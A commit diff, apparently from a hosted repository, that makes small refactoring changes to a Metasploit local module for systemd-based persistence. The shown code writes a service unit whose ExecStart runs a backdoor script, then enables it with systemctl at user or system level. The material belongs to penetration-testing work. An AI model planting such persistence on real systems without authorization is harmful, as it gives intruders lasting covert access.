Fixed heredoc and advanced options casing.
parent
99ae0d125f
commit
364460a787
|
@ -80,7 +80,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('ENABLE', [true, 'Enable the service', true])
|
||||
OptBool.new('Enable', [true, 'Enable the service', true])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
@ -162,7 +162,7 @@ WantedBy=multi-user.target}
|
|||
print_error('File not written, check permissions.')
|
||||
return
|
||||
end
|
||||
if datastore['ENABLE']
|
||||
if datastore['Enable']
|
||||
vprint_status('Enabling service')
|
||||
cmd_exec("systemctl enable #{service_filename}.service")
|
||||
end
|
||||
|
@ -171,19 +171,22 @@ WantedBy=multi-user.target}
|
|||
end
|
||||
|
||||
def systemd_user(backdoor_path, backdoor_file)
|
||||
script = %{[Unit]
|
||||
Description=Start daemon at boot time
|
||||
After=
|
||||
Requires=
|
||||
[Service]
|
||||
RemainAfterExit=yes
|
||||
RestartSec=10s
|
||||
Restart=always
|
||||
TimeoutStartSec=5
|
||||
ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file}
|
||||
[Install]
|
||||
WantedBy=default.target}
|
||||
|
||||
def script
|
||||
<<~EOF
|
||||
[Unit]
|
||||
Description=Start daemon at boot time
|
||||
After=
|
||||
Requires=
|
||||
[Service]
|
||||
RemainAfterExit=yes
|
||||
RestartSec=10s
|
||||
Restart=always
|
||||
TimeoutStartSec=5
|
||||
ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file}
|
||||
[Install]
|
||||
WantedBy=default.target
|
||||
EOF
|
||||
end
|
||||
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
|
||||
home = cmd_exec('echo ${HOME}')
|
||||
service_name = "#{home}/.config/systemd/user/#{service_filename}.service"
|
||||
|
@ -204,7 +207,7 @@ WantedBy=default.target}
|
|||
systemd_socket_dir = "/run/user/#{systemd_socket_id}"
|
||||
vprint_status('Reloading manager configuration')
|
||||
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user daemon-reload")
|
||||
if datastore['ENABLE']
|
||||
if datastore['Enable']
|
||||
vprint_status('Enabling service')
|
||||
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user enable #{service_filename}.service")
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue